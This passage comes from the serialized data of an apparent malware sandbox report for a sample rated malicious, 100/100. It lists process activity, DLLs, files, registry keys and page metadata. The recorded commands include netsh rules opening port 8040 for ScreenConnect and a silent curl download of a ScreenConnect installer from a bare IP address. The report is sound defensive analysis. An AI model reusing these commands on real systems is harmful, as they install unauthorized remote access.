profile=any","sha256":"41100c756bc97ffca70a69d18c4440d446bad9a876ff4f3d52210dd0bdaee014","normalized_path":"%WINDIR%\\system32\\netsh.exe","parent_uid":"00000000-00006472","uid":"00000000-00000160"},{"pid":7004,"ppid":6472,"name":"netsh.exe","command_line":"netsh advfirewall firewall add rule name=\"ScreenConnect Inbound\" dir=in action=allow program=\"ScreenConnect.ClientService.exe\" enable=yes profile=any","sha256":"41100c756bc97ffca70a69d18c4440d446bad9a876ff4f3d52210dd0bdaee014","normalized_path":"%WINDIR%\\system32\\netsh.exe","parent_uid":"00000000-00006472","uid":"00000000-00007004"},{"pid":6852,"ppid":6472,"name":"netsh.exe","command_line":"netsh advfirewall firewall add rule name=\"ScreenConnect Server Port\" dir=out action=allow protocol=TCP localport=8040 remoteport=8040 enable=yes profile=any","sha256":"41100c756bc97ffca70a69d18c4440d446bad9a876ff4f3d52210dd0bdaee014","normalized_path":"%WINDIR%\\system32\\netsh.exe","parent_uid":"00000000-00006472","uid":"00000000-00006852"},{"pid":5460,"ppid":6472,"name":"netsh.exe","command_line":"netsh advfirewall firewall add rule name=\"ScreenConnect Server Port In\" dir=in action=allow protocol=TCP localport=8040 enable=yes profile=any","sha256":"41100c756bc97ffca70a69d18c4440d446bad9a876ff4f3d52210dd0bdaee014","normalized_path":"%WINDIR%\\system32\\netsh.exe","parent_uid":"00000000-00006472","uid":"00000000-00005460"},{"pid":740,"ppid":6472,"name":"where.exe","command_line":"where curl","sha256":"4dc3fa01ba87e9204ad65668a9c92f98353a0ba370bc59f61d3eafe8c754e248","normalized_path":"%WINDIR%\\system32\\where.exe","parent_uid":"00000000-00006472","uid":"00000000-00000740"},{"pid":4068,"ppid":6472,"name":"curl.exe","command_line":"curl -s -L -o \"%TEMP%\\ScreenConnect_1091_58.56\\ScreenConnect.ClientSetup.msi\" \"http://163.245.215.154:8040/Bin/ScreenConnect.ClientSetup.msi?e=Access&y=Guest\" --connect-timeout 300 --max-time 2400 --retry 12 --retry-delay 25 --retry-max-time 1800 --show-error","sha256":"3050c33bfb67f7b4d1275aa12cd4622b7f853e63de34a7412f67269de070dbb7","normalized_path":"%WINDIR%\\system32\\curl.exe","parent_uid":"00000000-00006472","uid":"00000000-00004068"}],"all_imported_dlls":["imm32.dll","FWPUCLNT.DLL","msasn1.dll","nshwfp.dll","shlwapi.dll","dot3api.dll","onex.dll","wevtapi.dll","wshelper.dll","nshhttp.dll","winipsec.dll","oleaut32.dll","mprapi.dll","fwbase.dll","userenv.dll","winhttp.dll","ifmon.dll","rasman.dll","wdi.dll","wcmapi.dll","vcruntime140_1.dll","bcrypt.dll","dhcpcsvc.dll","Wldap32.dll","wkscli.dll","dnsapi.dll","sspicli.dll","KernelBase.dll","srvcli.dll","mfc42u.dll","rpcnsh.dll","PeerDistSh.dll","WiFiDisplay.dll","mprmsg.dll","IPHLPAPI.DLL","version.dll","p2pnetsh.dll","whhelper.dll","mpr.dll","netiohlp.dll","bcryptprimitives.dll","shell32.dll","SHCore.dll","mswsock.dll","wwancfg.dll","gpapi.dll","normaliz.dll","authfwcfg.dll","httpapi.dll","P2P.dll","ws2_32.dll","sechost.dll","winnsi.dll","adsldpc.dll","gdi32full.dll","msvcp_win.dll","atl.dll","netshell.dll","rpcrt4.dll","combase.dll","windows.storage.dll","msvcrt.dll","vcruntime140.dll","nsi.dll","ntasn1.dll","sppc.dll","gdi32.dll","ndfapi.dll","activeds.dll","polstore.dll","kernel32.dll","advapi32.dll","mintdh.dll","nshipsec.dll","ucrtbase.dll","ole32.dll","samcli.dll","fwpolicyiomgr.dll","dhcpcmonitor.dll","cryptsp.dll","eappprxy.dll","nettrace.dll","cfgmgr32.dll","cabinet.dll","wwapi.dll","uxtheme.dll","dhcpcsvc6.dll","user32.dll","fltLib.dll","rasapi32.dll","ncrypt.dll","hnetmon.dll","crypt32.dll","secur32.dll","dot3cfg.dll","win32u.dll","kernel.appcore.dll","FirewallAPI.dll","profapi.dll","ntdll.dll","VxSSL64.dll","nlaapi.dll","dsrole.dll","slc.dll","cryptbase.dll","tdh.dll","WcnNetsh.dll","wlancfg.dll","cmdext.dll","logoncli.dll","rasmontr.dll","mdmregistration.dll","devobj.dll","wlanapi.dll","msvcp110_win.dll","ktmw32.dll","msvcp140.dll","eappcfg.dll","powrprof.dll","dmcmnutils.dll","netutils.dll","fwcfg.dll","rmclient.dll"]},"file_activity":{"dropped_files":null,"extracted_files":[{"name":"ScreenConnect_Install.log","sha256":"66cd5055827cf161b6da47ff29c49035085d38f66b997216b41a50a0431f10e2","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]}],"files_written":[{"path":"%TEMP%\\ScreenConnect_Install.log","sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"path":"%LOCALAPPDATA%\\PeerDistRepub","sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\PEERDIST\\","sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\\PEERDIST\\","sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"key":"HKCUHKCU\\SYSTEM\\CURRENTCONTROLSET\\CONTROL\\NETTRACE\\","sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"key":"HKCUHKCU\\SYSTEM\\CURRENTCONTROLSET\\CONTROL\\NETTRACE\\SESSION\\","sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]}],"keys_modified":null,"keys_deleted":null},"mutex_activity":{"mutex_created":[{"name":"\\Sessions\\1\\BaseNamedObjects\\Global\\RasPbFile","sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"name":"Global\\RasPbFile","sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]}]}},"report_ids":{"sandbox_job_ids":["6aa91d4692fd417a73088368"]}}}]]}] 1e:null 22:[["$","title","0",{"children":"Malicious CMD:BZC.PZQ.Leopard.1 Sample b82d28bbdc00… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample b82d28bbdc00…. Malware family: CMD:BZC.PZQ.Leopard.1. Threat score 100/100. 5/26 AV engines flagged this file. 5 malicious and 11 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/b82d28bbdc0012d2ca01005b9d152ad6b53c29c0f6dd9a3896f8c32086b3870d"}],["$","meta","4",{"property":"og:title","content":"Malicious CMD:BZC.PZQ.Leopard.1 Sample b82d28bbdc00… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample b82d28bbdc00…. Malware family: CMD:BZC.PZQ.Leopard.1. Threat score 100/100. 5/26 AV engines flagged this file. 5 malicious and 11 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/b82d28bbdc0012d2ca01005b9d152ad6b53c29c0f6dd9a3896f8c32086b3870d"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious CMD:BZC.PZQ.Leopard.1 Sample b82d28bbdc00… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample b82d28bbdc00…. Malware family: CMD:BZC.PZQ.Leopard.1. Threat score 100/100. 5/26 AV engines flagged this file. 5 malicious and 11 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L4f","11",{}]]